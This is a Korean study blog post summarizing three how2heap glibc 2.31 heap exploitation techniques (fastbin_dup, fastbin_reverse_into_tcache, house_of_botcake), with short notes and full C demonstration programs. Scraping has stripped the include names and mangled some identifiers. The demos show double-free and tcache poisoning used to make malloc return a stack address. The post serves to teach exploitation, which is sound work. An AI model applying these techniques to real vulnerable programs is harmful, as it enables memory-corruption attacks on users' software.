how2heap glibc_2.31 정리

how2heap glibc_2.31 정리

1. fastbin_dup

- tcache를 7개 다 채우기

- fastbin에 2개의 힙 할당

- old_p== p 검사 때문에 하나 더 free(1) --> free(2) --> free(1)순으로 DFB발생시켜 fastbin_dup유도한다.

#include #include #include int main() { setbuf(stdout, NULL); printf("This file demonstrates a simple double-free attack with fastbins.

"); printf("Fill up tcache first.

"); void *ptrs[8]; for (int i=0; i<8; i++) { ptrs[i] = malloc(8); } for (int i=0; i<7; i++) { free(ptrs[i]); } printf("Allocating 3 buffers.

"); int *a = calloc(1, 8); int *b = calloc(1, 8); int *c = calloc(1, 8); printf("1st calloc(1, 8): %p

", a); printf("2nd calloc(1, 8): %p

", b); printf("3rd calloc(1, 8): %p

", c); printf("Freeing the first one...

"); free(a); printf("If we free %p again, things will crash because %p is at the top of the free list.

", a, a); // free(a); printf("So, instead, we'll free %p.

", b); free(b); printf("Now, we can free %p again, since it's not the head of the free list.

", a); free(a); printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!

", a, b, a, a); a = calloc(1, 8); b = calloc(1, 8); c = calloc(1, 8); printf("1st calloc(1, 8): %p

", a); printf("2nd calloc(1, 8): %p

", b); printf("3rd calloc(1, 8): %p

", c); assert(a == c); }

2. fastbin_reverse_into_tcache

- tcache와 fastbin 각각 7개씩 채운다.

- tache를 비워주고 fastbin에 맨 처음으로 들어간 노드의 fd를 바꿔준다.

- malloc 호출해주면 fastbin --> tcache로 들어가는데 거꾸로 꼬아서 들어간다.

- fastbin은 count와 LIFO구조임을 생각해보면 거꾸로 꼬았을때 tcache에서 첫 빠따로 할당될 친구는 우리가 조작한 주소이다.

#include #include #include #include const size_t allocsize = 0x40; int main(){ setbuf(stdout, NULL); printf( "

" "This attack is intended to have a similar effect to the unsorted_bin_attack,

" "except it works with a small allocation size (allocsize <= 0x78).

" "The goal is to set things up so that a call to malloc(allocsize) will write

" "a large unsigned value to the stack.

" ); // Allocate 14 times so that we can free later. char* ptrs[14]; size_t i; for (i = 0; i < 14; i++) { ptrs[i] = malloc(allocsize); } printf( "First we need to free(allocsize) at least 7 times to fill the tcache.

" "(More than 7 times works fine too.)

" ); // Fill the tcache. for (i = 0; i < 7; i++) { free(ptrs[i]); } char* victim = ptrs[7]; printf( "The next pointer that we free is the chunk that we're going to corrupt: %p

" "It doesn't matter if we corrupt it now or later. Because the tcache is

" "already full, it will go in the fastbin.

", victim ); free(victim); printf( "Next we need to free between 1 and 6 more pointers. These will also go

" "in the fastbin. If the stack address that we want to overwrite is not zero

" "then we need to free exactly 6 more pointers, otherwise the attack will

" "cause a segmentation fault. But if the value on the stack is zero then

" "a single free is sufficient.

" ); // Fill the fastbin. for (i = 8; i < 14; i++) { free(ptrs[i]); } // Create an array on the stack and initialize it with garbage. size_t stack_var[6]; memset(stack_var, 0xcd, sizeof(stack_var)); printf( "The stack address that we intend to target: %p

" "It's current value is %p

", &stack;_var[2], (char*)stack_var[2] ); printf( "Now we use a vulnerability such as a buffer overflow or a use-after-free

" "to overwrite the next pointer at address %p

", victim ); //------------VULNERABILITY----------- // Overwrite linked list pointer in victim. *(size_t**)victim = &stack;_var[0]; //------------------------------------ printf( "The next step is to malloc(allocsize) 7 times to empty the tcache.

" ); // Empty tcache. for (i = 0; i < 7; i++) { ptrs[i] = malloc(allocsize); } printf( "Let's just print the contents of our array on the stack now,

" "to show that it hasn't been modified yet.

" ); for (i = 0; i < 6; i++) { printf("%p: %p

", &stack;_var[i], (char*)stack_var[i]); } printf( "

" "The next allocation triggers the stack to be overwritten. The tcache

" "is empty, but the fastbin isn't, so the next allocation comes from the

" "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.

" "Those 7 chunks are copied in reverse order into the tcache, so the stack

" "address that we are targeting ends up being the first chunk in the tcache.

" "It contains a pointer to the next chunk in the list, which is why a heap

" "pointer is written to the stack.

" "

" "Earlier we said that the attack will also work if we free fewer than 6

" "extra pointers to the fastbin, but only if the value on the stack is zero.

" "That's because the value on the stack is treated as a next pointer in the

" "linked list and it will trigger a crash if it isn't a valid pointer or null.

" "

" "The contents of our array on the stack now look like this:

" ); malloc(allocsize); for (i = 0; i < 6; i++) { printf("%p: %p

", &stack;_var[i], (char*)stack_var[i]); } char *q = malloc(allocsize); printf( "

" "Finally, if we malloc one more time then we get the stack address back: %p

", q ); assert(q == (char *)&stack;_var[2]); return 0; }

3. house_of_botcake

#include #include #include #include int main() { /* * This attack should bypass the restriction introduced in * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d * If the libc does not include the restriction, you can simply double free the victim and do a * simple tcache poisoning * And thanks to @anton00b and @subwire for the weird name of this technique */ // disable buffering so _IO_FILE does not interfere with our heap setbuf(stdin, NULL); setbuf(stdout, NULL); // introduction puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); puts("returning a pointer to an arbitrary location (in this demo, the stack)."); puts("This attack only relies on double free.

"); // prepare the target intptr_t stack_var[4]; puts("The address we want malloc() to return, namely,"); printf("the target address is %p.

", stack_var); // prepare heap layout puts("Preparing heap layout"); puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); intptr_t *x[7]; for(int i=0; i

", a); puts("Allocating a padding to prevent consolidation.

"); malloc(0x10); // cause chunk overlapping puts("Now we are able to cause chunk overlapping"); puts("Step 1: fill up tcache list"); for(int i=0; i<7; i++){ free(x[i]); } puts("Step 2: free the victim chunk so it will be added to unsorted bin"); free(a); puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); free(prev); puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again

"); malloc(0x100); /*VULNERABILITY*/ free(a);// a is already freed /*VULNERABILITY*/ // simple tcache poisoning puts("Launch tcache poisoning"); puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk"); intptr_t *b = malloc(0x120); puts("We simply overwrite victim's fwd pointer"); b[0x120/8-2] = (long)stack_var; // take target out puts("Now we can cash out the target chunk."); malloc(0x100); intptr_t *c = malloc(0x100); printf("The new chunk is at %p

", c); // sanity check assert(c==stack_var); printf("Got control on target/stack!

"); // note puts("Note:"); puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim"); puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily."); return 0; }

from http://psj-study.tistory.com/179 by ccl(A) rewrite - 2021-08-26 20:00:42